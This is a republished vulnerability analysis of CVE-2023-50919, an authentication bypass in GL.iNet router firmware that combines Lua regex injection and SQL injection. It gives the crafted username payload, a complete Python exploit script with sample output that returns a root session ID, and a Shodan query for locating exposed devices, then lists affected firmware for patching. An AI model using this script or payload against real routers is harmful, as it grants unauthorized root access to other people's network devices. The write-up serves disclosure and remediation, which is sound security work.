TECHNICAL ANALYSISEXPLOIT DEVELOPMENTCVE-2023-50919

CVE-2023-50919 — GL.iNet NGINX Authentication Bypass

An issue was discovered on GL.iNet devices before version 4.5.0. There is an NGINX authentication bypass via Lua string pattern matching.

Originally published on Rapid7 AttackerKB · 2024-01-03 · revised 2024-01-07

Overview

There is not yet an official record of this CVE available at the time of writing, but this is a critical vulnerability that gives an attacker unauthenticated access to a GL.iNet network devices. The issue is the bypass of Nginx authentication through a Lua string pattern matching and SQL injection vulnerability. There is an excellent writeup From zero to botnet – GL.iNet going wild by DZONERZY who discovered this vulnerability in October 2023.

Rather than repeat the full upstream analysis, the relevant authentication-bypass behavior is summarized below. The flaw sits in the /usr/sbin/gl-ngx-session, the actual Lua handler for the authentication mechanism which is the standard for GL.iNet network devices.

Within the this code there is a loop through the /etc/shadow file to authenticate a user where the username is used for the lookup using a regex. By manipulating the username with additional regex statements, one can manipulate the lookup, so that it retrieves the uid field instead of the password field, hence using this for a valid root login will return a session id (SID) to be used for authentication.

local function login_test(username, hash)
    if not username or username == "" then return false end

    for l in io.lines("/etc/shadow") do
        local pw = l:match('^' .. username .. ':([^:]+)')
        if pw then
            for nonce in pairs(nonces) do
                if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then
                    nonces[nonce] = nil
                    nonce_cnt = nonce_cnt - 1
                    return true
                end
            end
            return false
        end
    end

Regex injection happens inside the login_test function; it tries to match everything from the first colon (the hashed password) until the next one.

root:$1$j9T2jD$5KGIS/2Ug.47GjW0jHOIB/2XwYUafYPh/X:19447:0:99999:7:::

With the following username: root:[^:]+:[^:]+ the regex in the code becomes ^root:[^:]+:[^:]+:([^:]+) that shifts forward the matching group, thus making it return the uid (which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash: md5(<user>:0:<nonce>) -> root:[^:]+:[^:]+:0:<nonce>.

Additionally, some ACL’s are required that are stored in the SQLite db. This lookup, which is coded in /usr/lib/lua/oui/db.lua, is not successful because we manipulated the username.

M.get_acl_by_username = function(username)
    if username == "root" then return "root" end

    local db = sqlite3.open(DB)
    local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username)

    local aclgroup = ""

    for a in db:rows(sql) do
        aclgroup = a[1]
    end

    db:close()

    return aclgroup
end

However, by a brilliant combination of the regex and sql injection, DZONERZY was able to retrieve that information in one go with the username below.

roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+

This confirms the authentication bypass and its security impact for affected GL.iNet devices. At the time of the assessment, a Shodan query using title:"GL.iNet Admin Panel" indicated that many Internet-exposed devices were potentially affected. Even worse, in combination of Related research: CVE-2023-50445 all vulnerable GL.iNet network can be exploited without any authentication required. Please check out my CVE-2023-50445 research for more info.

Below is a python script that checks if your device is vulnerable for CVE-2023-50919.

#!/usr/bin/env python3

# Exploit Title: GL.iNet Authentication bypass
# Shodan Dork: title:"GL.iNet Admin Panel"
# Date: 30/12/2023
# Exploit Author: h00die-gr3y@gmail.com
# Vendor Homepage: https://www.gli-inet.com
# Software Link: https://dl.gl-inet.com/?model=ar300m16
# Firmware: openwrt-ar300m16-4.3.7-0913-1694589994.bin
# Version: 4.3.7
# Tested on: GL.iNet AR300M16
# CVE: CVE-2023-50919

import json
import requests
import hashlib
import time
from random import randint
from sys import stdout, argv

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

proxies = {
   'http': 'http://127.0.0.1:8080',
   'https': 'http://127.0.0.1:8080',
}

proxies = {} # no proxy

def get_challenge(url):
        data = {
                'jsonrpc': '2.0',
                'id': randint(1000, 9999),
                'method': 'challenge',
                'params': {'username': 'root'}
        }
        try:
                res = requests.post(url, json=data, verify=False, proxies=proxies)
                res.raise_for_status()
                res_json = json.loads(res.content)
                if 'result' in res_json:
                        return res_json['result']['nonce']
                print('[-] Error: could not find nonce')
                return False
        except requests.exceptions.RequestException:
                print('[-] Error while retrieving challenge')
        return False


def login(url, username, hash):
        data = {
                'jsonrpc': '2.0',
                'id': randint(1000, 9999),
                'method': 'login',
                'params': {
                        'username': '{}'.format(username),
                        'hash': '{}'.format(hash)}
        }
        try:
                res = requests.post(url, json=data, verify=False, proxies=proxies)
                res.raise_for_status()
                res_json = json.loads(res.content)
                if 'result' in res_json:
                        return res_json['result']['sid']
                print('[-] Error: could not find sid')
                return False

        except requests.exceptions.RequestException:
                print('[-] Error while retrieving sid')
        return False

def main(url):
        print('[+] Started GL.iNet - Authentication Bypass exploit')
        username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"
        pw = '0'
        print('[+] Get challenge and login')
        start = time.time()
        nonce = get_challenge(url+'/rpc')
        if nonce:
                print('[+] nonce: {}'.format(nonce))
                hash_str = username+':'+pw+':'+nonce
                hash = hashlib.md5(hash_str.encode('utf-8')).hexdigest()
                print('[+] hash: {}'.format(hash))
                sid = login(url+'/rpc', username, hash)
                print(f'[+] Time elapsed: {time.time() - start}')
                if sid:
                        print('[+] sid: {}'.format(sid))


if __name__ == '__main__':
        if len(argv) < 2:
                print('Usage: {} <TARGET_URL>'.format(argv[0]))
                exit(1)

        main(argv[1])
# python ./auth-bypass.py http://192.168.8.1
[+] Started GL.iNet - Authentication Bypass exploit
[+] Get challenge and login
[+] nonce: 9B5p5lcK8V1rPu7tiwaKccPKkA8ijpwt
[+] hash: 01f250624caab2acaf4feb290dd45d33
[+] Time elapsed: 2.650479793548584
[+] sid: rGZXQdxPkFzv1KwNaXTcWos6OLTnjU3e

Remediation

The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.

  • A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0
  • MT6000: v4.5.0 - v4.5.3
  • MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7
  • E750/E750V2, MV1000: v4.3.8
  • X3000: v4.0.0 - v4.4.2
  • XE3000: v4.0.0 - v4.4.3
  • SFT1200: v4.3.6
  • and potentially others…

References

Credits

  • DZONERZY